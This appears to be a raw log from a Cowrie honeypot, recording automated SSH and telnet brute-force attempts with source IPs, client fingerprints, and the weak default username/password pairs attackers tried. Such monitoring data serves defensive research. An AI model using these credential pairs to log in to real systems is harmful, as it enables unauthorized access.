{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:12.356828Z","src_ip":"193.151.144.93","session":"b4f544799c0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":41644,"dst_ip":"10.17.0.5","dst_port":22,"session":"593c6bf3ba83","protocol":"ssh","message":"New connection: 193.151.144.93:41644 (10.17.0.5:22) [session: 593c6bf3ba83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:16.001122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:16.007225Z","src_ip":"193.151.144.93","session":"593c6bf3ba83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:16.174509Z","src_ip":"193.151.144.93","session":"593c6bf3ba83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd","message":"login attempt [ubuntu/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:16.679247Z","src_ip":"193.151.144.93","session":"593c6bf3ba83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.4208505153656,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:17.431107Z","src_ip":"116.207.109.135","session":"c382be33d58f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:17.846575Z","src_ip":"193.151.144.93","session":"593c6bf3ba83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":57162,"dst_ip":"10.17.0.5","dst_port":22,"session":"545b958bd11a","protocol":"ssh","message":"New connection: 193.151.144.93:57162 (10.17.0.5:22) [session: 545b958bd11a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:21.557600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:21.561984Z","src_ip":"193.151.144.93","session":"545b958bd11a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:21.729138Z","src_ip":"193.151.144.93","session":"545b958bd11a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345678","message":"login attempt [user/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:23.772462Z","src_ip":"193.151.144.93","session":"545b958bd11a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:25.383681Z","src_ip":"193.151.144.93","session":"545b958bd11a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":57176,"dst_ip":"10.17.0.5","dst_port":22,"session":"dba45e5ace43","protocol":"ssh","message":"New connection: 193.151.144.93:57176 (10.17.0.5:22) [session: dba45e5ace43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:27.354961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:27.359676Z","src_ip":"193.151.144.93","session":"dba45e5ace43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:27.534836Z","src_ip":"193.151.144.93","session":"dba45e5ace43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"12345","message":"login attempt [user1/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:28.034346Z","src_ip":"193.151.144.93","session":"dba45e5ace43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:29.203611Z","src_ip":"193.151.144.93","session":"dba45e5ace43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":48422,"dst_ip":"10.17.0.5","dst_port":22,"session":"787066359ae9","protocol":"ssh","message":"New connection: 193.151.144.93:48422 (10.17.0.5:22) [session: 787066359ae9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:33.015327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:33.019780Z","src_ip":"193.151.144.93","session":"787066359ae9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:33.180844Z","src_ip":"193.151.144.93","session":"787066359ae9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vm","password":"vm","message":"login attempt [vm/vm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:33.795440Z","src_ip":"193.151.144.93","session":"787066359ae9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:34.959740Z","src_ip":"193.151.144.93","session":"787066359ae9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":48436,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ebe48235d90","protocol":"ssh","message":"New connection: 193.151.144.93:48436 (10.17.0.5:22) [session: 3ebe48235d90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:38.969158Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:38.978180Z","src_ip":"193.151.144.93","session":"3ebe48235d90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:39.136133Z","src_ip":"193.151.144.93","session":"3ebe48235d90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aiuser","password":"aiuser","message":"login attempt [aiuser/aiuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:39.790871Z","src_ip":"193.151.144.93","session":"3ebe48235d90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:40.959554Z","src_ip":"193.151.144.93","session":"3ebe48235d90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.44763946533203,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:42.310067Z","src_ip":"69.4.83.194","session":"2d780e9ff1fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":34424,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c0f83427faf","protocol":"telnet","message":"New connection: 79.139.59.21:34424 (159.203.135.109:23) [session: 4c0f83427faf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:44.131108Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":40816,"dst_ip":"10.17.0.5","dst_port":22,"session":"17f6393d0bf6","protocol":"ssh","message":"New connection: 193.151.144.93:40816 (10.17.0.5:22) [session: 17f6393d0bf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:44.762140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:44.767437Z","src_ip":"193.151.144.93","session":"17f6393d0bf6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:44.929775Z","src_ip":"193.151.144.93","session":"17f6393d0bf6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"default","password":"default","message":"login attempt [default/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:45.417761Z","src_ip":"193.151.144.93","session":"17f6393d0bf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:46.581660Z","src_ip":"193.151.144.93","session":"17f6393d0bf6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":37794,"dst_ip":"10.17.0.5","dst_port":22,"session":"8815a84457bf","protocol":"ssh","message":"New connection: 193.151.144.93:37794 (10.17.0.5:22) [session: 8815a84457bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:50.399415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:50.404806Z","src_ip":"193.151.144.93","session":"8815a84457bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:50.578920Z","src_ip":"193.151.144.93","session":"8815a84457bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123","message":"login attempt [deploy/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:52.011160Z","src_ip":"193.151.144.93","session":"8815a84457bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":44664,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b6fad930dbd","protocol":"ssh","message":"New connection: 87.251.79.125:44664 (159.203.135.109:22) [session: 6b6fad930dbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:52.638679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:52.642802Z","src_ip":"87.251.79.125","session":"6b6fad930dbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:52.722099Z","src_ip":"87.251.79.125","session":"6b6fad930dbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ybrbnbyf","message":"login attempt [root/ybrbnbyf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:52.942139Z","src_ip":"87.251.79.125","session":"6b6fad930dbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:53.221220Z","src_ip":"193.151.144.93","session":"8815a84457bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:54.020030Z","src_ip":"87.251.79.125","session":"6b6fad930dbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":37806,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd398942d894","protocol":"ssh","message":"New connection: 193.151.144.93:37806 (10.17.0.5:22) [session: fd398942d894]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:51:55.989028Z"}
